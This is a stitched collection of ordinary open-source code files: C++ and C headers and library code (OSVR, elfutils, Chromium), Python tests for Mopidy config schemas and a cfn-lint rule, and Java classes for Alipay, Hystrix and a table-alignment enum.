int(ALIASPRIORITY_MINIMUM) << ")"; break; case ALIASPRIORITY_AUTOMATIC: os << "Automatic (" << int(ALIASPRIORITY_AUTOMATIC) << ")"; break; case ALIASPRIORITY_SEMANTICROUTE: os << "Semantic Route (" << int(ALIASPRIORITY_SEMANTICROUTE) << ")"; break; case ALIASPRIORITY_MANUAL: os << "Manual/Max (" << int(ALIASPRIORITY_MANUAL) << ")"; break; default: os << int(ALIASPRIORITY_MANUAL); break; } return os; } } // namespace detail #endif /// @brief Helper method to output a priority in a formatted way to a /// stream. inline detail::AliasPriorityWrapper outputPriority(AliasPriority priority) { return detail::AliasPriorityWrapper{priority}; } namespace elements { /// @brief Gets a string that indicates the type of path element. Do not /// use this for conditionals/comparisons unless there's really no /// better way! (There probably is a better way with a variant /// static_visitor) /// @param elt The element to investigate. OSVR_COMMON_EXPORT const char *getTypeName(PathElement const &elt); /// @brief Gets the string that represents the templated type template <typename ElementType> inline const char *getTypeName() { return getTypeName(ElementType()); } /// @brief If dest is a NullElement, replace it with the provided src /// element. /// @param dest Item to inquire about, and update if needed. /// @param src Replacement for dest if dest is a NullElement. void ifNullReplaceWith(PathElement &dest, PathElement const &src); /// @brief Returns true if the path element provided is a NullElement. bool isNull(PathElement const &elt); /// @brief Gets the length of the longest type name OSVR_COMMON_EXPORT size_t getMaxTypeNameLength(); } // namespace elements using elements::getTypeName; } // namespace common } // namespace osvr #endif // INCLUDED_PathElementTools_h_GUID_9246E2D5_1598_409F_BD30_1817FA2C1FB2
1,497
6,700
import logging import unittest from unittest import mock from mopidy.config import schemas, types from tests import any_unicode class ConfigSchemaTest(unittest.TestCase): def setUp(self): # noqa: N802 self.schema = schemas.ConfigSchema("test") self.schema["foo"] = mock.Mock() self.schema["bar"] = mock.Mock() self.schema["baz"] = mock.Mock() self.values = {"bar": "123", "foo": "456", "baz": "678"} def test_deserialize(self): self.schema.deserialize(self.values) def test_deserialize_with_missing_value(self): del self.values["foo"] result, errors = self.schema.deserialize(self.values) assert {"foo": any_unicode} == errors assert result.pop("foo") is None assert result.pop("bar") is not None assert result.pop("baz") is not None assert {} == result def test_deserialize_with_extra_value(self): self.values["extra"] = "123" result, errors = self.schema.deserialize(self.values) assert {"extra": any_unicode} == errors assert result.pop("foo") is not None assert result.pop("bar") is not None assert result.pop("baz") is not None assert {} == result def test_deserialize_with_deserialization_error(self): self.schema["foo"].deserialize.side_effect = ValueError("failure") result, errors = self.schema.deserialize(self.values) assert {"foo": "failure"} == errors assert result.pop("foo") is None assert result.pop("bar") is not None assert result.pop("baz") is not None assert {} == result def test_deserialize_with_multiple_deserialization_errors(self): self.schema["foo"].deserialize.side_effect = ValueError("failure") self.schema["bar"].deserialize.side_effect = ValueError("other") result, errors = self.schema.deserialize(self.values) assert {"foo": "failure", "bar": "other"} == errors assert result.pop("foo") is None assert result.pop("bar") is None assert result.pop("baz") is not None assert {} == result def test_deserialize_deserialization_unknown_and_missing_errors(self): self.values["extra"] = "123" self.schema["bar"].deserialize.side_effect = ValueError("failure") del self.values["baz"] result, errors = self.schema.deserialize(self.values) assert "unknown" in errors["extra"] assert "foo" not in errors assert "failure" in errors["bar"] assert "not found" in errors["baz"] assert "unknown" not in result assert "foo" in result assert result["bar"] is None assert result["baz"] is None def test_deserialize_deprecated_value(self): self.schema["foo"] = types.Deprecated() result, errors = self.schema.deserialize(self.values) assert ["bar", "baz"] == sorted(result.keys()) assert "foo" not in errors class MapConfigSchemaTest(unittest.TestCase): def test_conversion(self): schema = schemas.MapConfigSchema("test", types.LogLevel()) result, errors = schema.deserialize({"foo.bar": "DEBUG", "baz": "INFO"}) assert logging.DEBUG == result["foo.bar"] assert logging.INFO == result["baz"] class DidYouMeanTest(unittest.TestCase): def test_suggestions(self): choices = ("enabled", "username", "password", "bitrate", "timeout") suggestion = schemas._did_you_mean("bitrate", choices) assert suggestion == "bitrate" suggestion = schemas._did_you_mean("bitrote", choices) assert suggestion == "bitrate" suggestion = schemas._did_you_mean("Bitrot", choices) assert suggestion == "bitrate" suggestion = schemas._did_you_mean("BTROT", choices) assert suggestion == "bitrate" suggestion = schemas._did_you_mean("btro", choices) assert suggestion is None
1,584
1,134
""" Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. SPDX-License-Identifier: MIT-0 """ from cfnlint.rules import CloudFormationLintRule from cfnlint.rules.conditions.common import check_condition_list class Not(CloudFormationLintRule): """Check Not Condition Function Logic""" id = 'E8005' shortdesc = 'Check Fn::Not structure for validity' description = 'Check Fn::Not is a list of one element' source_url = 'https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/intrinsic-function-reference-conditions.html#intrinsic-function-reference-conditions-not' tags = ['functions', 'not'] def match(self, cfn): return check_condition_list(cfn, 'Fn::Not')
239
2,151
/* Get public symbol information. Copyright (C) 2002, 2003, 2004, 2005, 2008 Red Hat, Inc. This file is part of elfutils. Written by <NAME> <<EMAIL>>, 2002. This file is free software; you can redistribute it and/or modify it under the terms of either * the GNU Lesser General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version or * the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version or both in parallel, as here. elfutils is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received copies of the GNU General Public License and the GNU Lesser General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #ifdef HAVE_CONFIG_H # include <config.h> #endif #include <assert.h> #include <stdlib.h> #include <string.h> #include <sys/param.h> #include <libdwP.h> #include <dwarf.h> static int get_offsets (Dwarf *dbg) { size_t allocated = 0; size_t cnt = 0; struct pubnames_s *mem = NULL; const size_t entsize = sizeof (struct pubnames_s); unsigned char *const startp = dbg->sectiondata[IDX_debug_pubnames]->d_buf; unsigned char *readp = startp; unsigned char *endp = readp + dbg->sectiondata[IDX_debug_pubnames]->d_size; while (readp + 14 < endp) { /* If necessary, allocate more entries. */ if (cnt >= allocated) { allocated = MAX (10, 2 * allocated); struct pubnames_s *newmem = (struct pubnames_s *) realloc (mem, allocated * entsize); if (newmem == NULL) { __libdw_seterrno (DWARF_E_NOMEM); err_return: free (mem); return -1; } mem = newmem; } /* Read the set header. */ int len_bytes = 4; Dwarf_Off len = read_4ubyte_unaligned_inc (dbg, readp); if (len == DWARF3_LENGTH_64_BIT) { len = read_8ubyte_unaligned_inc (dbg, readp); len_bytes = 8; } else if (unlikely (len >= DWARF3_LENGTH_MIN_ESCAPE_CODE && len <= DWARF3_LENGTH_MAX_ESCAPE_CODE)) { __libdw_seterrno (DWARF_E_INVALID_DWARF); goto err_return; } /* Now we know the offset of the first offset/name pair. */ mem[cnt].set_start = readp + 2 + 2 * len_bytes - startp; mem[cnt].address_len = len_bytes; if (mem[cnt].set_start >= dbg->sectiondata[IDX_debug_pubnames]->d_size) /* Something wrong, the first entry is beyond the end of the section. */ break; /* Read the version. It better be two for now. */ uint16_t version = read_2ubyte_unaligned (dbg, readp); if (unlikely (version != 2)) { __libdw_seterrno (DWARF_E_INVALID_VERSION); goto err_return; } /* Get the CU offset. */ if (__libdw_read_offset (dbg, dbg, IDX_debug_pubnames, readp + 2, len_bytes, &mem[cnt].cu_offset, IDX_debug_info, 3)) /* Error has been already set in reader. */ goto err_return; /* Determine the size of the CU header. */ unsigned char *infop = ((unsigned char *) dbg->sectiondata[IDX_debug_info]->d_buf + mem[cnt].cu_offset); if (read_4ubyte_unaligned_noncvt (infop) == DWARF3_LENGTH_64_BIT) mem[cnt].cu_header_size = 23; else mem[cnt].cu_header_size = 11; ++cnt; /* Advance to the next set. */ readp += len; } if (mem == NULL) { __libdw_seterrno (DWARF_E_NO_ENTRY); return -1; } dbg->pubnames_sets = (struct pubnames_s *) realloc (mem, cnt * entsize); dbg->pubnames_nsets = cnt; return 0; } ptrdiff_t dwarf_getpubnames (dbg, callback, arg, offset) Dwarf *dbg; int (*callback) (Dwarf *, Dwarf_Global *, void *); void *arg; ptrdiff_t offset; { if (dbg == NULL) return -1l; if (unlikely (offset < 0)) { __libdw_seterrno (DWARF_E_INVALID_OFFSET); return -1l; } /* Make sure it is a valid offset. */ if (unlikely (dbg->sectiondata[IDX_debug_pubnames] == NULL || ((size_t) offset >= dbg->sectiondata[IDX_debug_pubnames]->d_size))) /* No (more) entry. */ return 0; /* If necessary read the set information. */ if (dbg->pubnames_nsets == 0 && unlikely (get_offsets (dbg) != 0)) return -1l; /* Find the place where to start. */ size_t cnt; if (offset == 0) { cnt = 0; offset = dbg->pubnames_sets[0].set_start; } else { for (cnt = 0; cnt + 1 < dbg->pubnames_nsets; ++cnt) if ((Dwarf_Off) offset >= dbg->pubnames_sets[cnt].set_start) { assert ((Dwarf_Off) offset < dbg->pubnames_sets[cnt + 1].set_start); break; } assert (cnt + 1 < dbg->pubnames_nsets); } unsigned char *startp = (unsigned char *) dbg->sectiondata[IDX_debug_pubnames]->d_buf; unsigned char *readp = startp + offset; while (1) { Dwarf_Global gl; gl.cu_offset = (dbg->pubnames_sets[cnt].cu_offset + dbg->pubnames_sets[cnt].cu_header_size); while (1) { /* READP points to the next offset/name pair. */ if (dbg->pubnames_sets[cnt].address_len == 4) gl.die_offset = read_4ubyte_unaligned_inc (dbg, readp); else gl.die_offset = read_8ubyte_unaligned_inc (dbg, readp); /* If the offset is zero we reached the end of the set. */ if (gl.die_offset == 0) break; /* Add the CU offset. */ gl.die_offset += dbg->pubnames_sets[cnt].cu_offset; gl.name = (char *) readp; readp = (unsigned char *) rawmemchr (gl.name, '\0') + 1; /* We found name and DIE offset. Report it. */ if (callback (dbg, &gl, arg) != DWARF_CB_OK) { /* The user wants us to stop. Return the offset of the next entry. */ return readp - startp; } } if (++cnt == dbg->pubnames_nsets) /* This was the last set. */ break; startp = (unsigned char *) dbg->sectiondata[IDX_debug_pubnames]->d_buf; readp = startp + dbg->pubnames_sets[cnt].set_start; } /* We are done. No more entries. */ return 0; }
2,655
333
<filename>src/main/java/com/alipay/api/domain/BlockChainTransactionApiDO.java package com.alipay.api.domain; import com.alipay.api.AlipayObject; import com.alipay.api.internal.mapping.ApiField; /** * 交易明细 * * @author auto create * @since 1.0, 2019-12-02 22:32:37 */ public class BlockChainTransactionApiDO extends AlipayObject { private static final long serialVersionUID = 1629494875393788114L; /** * 区块链ID */ @ApiField("block_chain_id") private String blockChainId; /** * 块hash */ @ApiField("block_hash") private String blockHash; /** * 块高 */ @ApiField("block_height") private Long blockHeight; /** * 智能科技统一客户ID */ @ApiField("cid") private String cid; /** * 起始账户 */ @ApiField("from_account") private String fromAccount; /** * gas消耗 */ @ApiField("gas_used") private Long gasUsed; /** * 目标账户 */ @ApiField("to_account") private String toAccount; /** * 交易hash */ @ApiField("transaction_hash") private String transactionHash; /** * 交易时间戳 */ @ApiField("transaction_timestamp") private Long transactionTimestamp; /** * 交易类型 */ @ApiField("transaction_type") private Long transactionType; /** * 交易金额 */ @ApiField("value") private Long value; public String getBlockChainId() { return this.blockChainId; } public void setBlockChainId(String blockChainId) { this.blockChainId = blockChainId; } public String getBlockHash() { return this.blockHash; } public void setBlockHash(String blockHash) { this.blockHash = blockHash; } public Long getBlockHeight() { return this.blockHeight; } public void setBlockHeight(Long blockHeight) { this.blockHeight = blockHeight; } public String getCid() { return this.cid; } public void setCid(String cid) { this.cid = cid; } public String getFromAccount() { return this.fromAccount; } public void setFromAccount(String fromAccount) { this.fromAccount = fromAccount; } public Long getGasUsed() { return this.gasUsed; } public void setGasUsed(Long gasUsed) { this.gasUsed = gasUsed; } public String getToAccount() { return this.toAccount; } public void setToAccount(String toAccount) { this.toAccount = toAccount; } public String getTransactionHash() { return this.transactionHash; } public void setTransactionHash(String transactionHash) { this.transactionHash = transactionHash; } public Long getTransactionTimestamp() { return this.transactionTimestamp; } public void setTransactionTimestamp(Long transactionTimestamp) { this.transactionTimestamp = transactionTimestamp; } public Long getTransactionType() { return this.transactionType; } public void setTransactionType(Long transactionType) { this.transactionType = transactionType; } public Long getValue() { return this.value; } public void setValue(Long value) { this.value = value; } }
1,283
482
package org.nutz.boot.starter.hystrix; import java.lang.reflect.Method; import java.util.Arrays; import org.nutz.aop.InterceptorChain; import org.nutz.aop.MethodInterceptor; import org.nutz.lang.Strings; import org.nutz.lang.reflect.FastClassFactory; import org.nutz.lang.reflect.FastMethod; import com.netflix.hystrix.contrib.javanica.annotation.HystrixCommand; import com.netflix.hystrix.contrib.javanica.annotation.HystrixException; import com.netflix.hystrix.contrib.javanica.annotation.HystrixProperty; import com.netflix.hystrix.contrib.javanica.annotation.ObservableExecutionMode; import com.netflix.hystrix.contrib.javanica.command.GenericSetterBuilder; import com.netflix.hystrix.contrib.javanica.exception.HystrixCachingException; /** * */ public class HystrixCommandInterceptor implements MethodInterceptor { protected HystrixCommand hystrixCommand; protected String groupKey; protected String commandKey; protected FastMethod fallbackMethod; protected String threadPoolKey; protected HystrixProperty[] commandproperties; protected HystrixProperty[] threadPoolProperties; protected FastMethod defaultFallback; protected Class<? extends Throwable>[] ignoreExceptions; protected HystrixException[] raiseHystrixExceptions; protected ObservableExecutionMode observableExecutionMode; public HystrixCommandInterceptor(HystrixCommand hystrixCommand, Method method) throws NoSuchMethodException, SecurityException { groupKey = Strings.sBlank(hystrixCommand.groupKey(), method.getDeclaringClass().getName()); commandKey = Strings.sBlank(hystrixCommand.commandKey(), method.getName()); if (!Strings.isBlank(hystrixCommand.fallbackMethod())) { Method fb = method.getDeclaringClass().getMethod(hystrixCommand.fallbackMethod(), Throwable.class); fallbackMethod = FastClassFactory.get(fb); } else if (!Strings.isBlank(hystrixCommand.defaultFallback())) { Method fb = method.getDeclaringClass().getMethod(hystrixCommand.defaultFallback()); defaultFallback = FastClassFactory.get(fb); } threadPoolKey = hystrixCommand.threadPoolKey(); commandproperties = hystrixCommand.commandProperties(); threadPoolProperties = hystrixCommand.threadPoolProperties(); ignoreExceptions = hystrixCommand.ignoreExceptions(); raiseHystrixExceptions = hystrixCommand.raiseHystrixExceptions(); observableExecutionMode = hystrixCommand.observableExecutionMode(); } public void filter(InterceptorChain chain) throws Throwable { GenericSetterBuilder setter = GenericSetterBuilder.builder() .commandKey(commandKey) .groupKey(groupKey) .threadPoolKey(threadPoolKey) .threadPoolProperties(Arrays.asList(threadPoolProperties)) .commandProperties(Arrays.asList(commandproperties)).build(); com.netflix.hystrix.HystrixCommand<Object> cmd = new com.netflix.hystrix.HystrixCommand<Object>(setter.build()) { protected Object run() throws Exception { try { return chain.doChain().getReturn(); } catch (Throwable e) { for (Class<? extends Throwable> klass : ignoreExceptions) { if (klass.isAssignableFrom(e.getClass())) throw new HystrixCachingException(e); } if (e instanceof Exception) throw (Exception)e; throw new Exception(e); } } protected Object getFallback() { try { if (fallbackMethod != null) return fallbackMethod.invoke(chain.getCallingObj(), chain.getArgs()); else if (defaultFallback != null) return defaultFallback.invoke(chain.getCallingObj()) ; } catch (Exception e) { } return null; } }; cmd.execute(); } }
1,752
2,151
<filename>net/proxy_resolution/dhcp_pac_file_fetcher_factory.h<gh_stars>1000+ // Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef NET_PROXY_DHCP_PAC_FILE_FETCHER_FACTORY_H_ #define NET_PROXY_DHCP_PAC_FILE_FETCHER_FACTORY_H_ #include <memory> #include "base/macros.h" #include "base/memory/singleton.h" #include "net/base/completion_callback.h" #include "net/base/net_export.h" #include "net/proxy_resolution/dhcp_pac_file_fetcher.h" namespace net { class URLRequestContext; // Factory object for creating the appropriate concrete base class of // DhcpPacFileFetcher for your operating system and settings. // // You might think we could just implement a DHCP client at the protocol // level and have cross-platform support for retrieving PAC configuration // from DHCP, but unfortunately the DHCP protocol assumes there is a single // client per machine (specifically per network interface card), and there // is an implicit state machine between the client and server, so adding a // second client to the machine would not be advisable (see e.g. some // discussion of what can happen at this URL: // http://www.net.princeton.edu/multi-dhcp-one-interface-handling.html). // // Therefore, we have platform-specific implementations, and so we use // this factory to select the right one. class NET_EXPORT DhcpPacFileFetcherFactory { public: DhcpPacFileFetcherFactory(); virtual ~DhcpPacFileFetcherFactory(); // url_request_context must be valid and its lifetime must exceed that of the // returned DhcpPacFileFetcher. // // Note that while a request is in progress, the fetcher may be holding a // reference to |url_request_context|. Be careful not to create cycles // between the fetcher and the context; you can break such cycles by calling // Cancel(). virtual std::unique_ptr<DhcpPacFileFetcher> Create( URLRequestContext* url_request_context); private: DISALLOW_COPY_AND_ASSIGN(DhcpPacFileFetcherFactory); }; } // namespace net #endif // NET_PROXY_DHCP_PAC_FILE_FETCHER_FACTORY_H_
655
2,434
/* ** 2015 November 29 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. */ package info.ata4.disunity.cli.util; /** * * @author <NAME> <barracuda415 at yahoo.de> */ public enum TextTableAlignment { LEFT, CENTER, RIGHT, AUTO }
146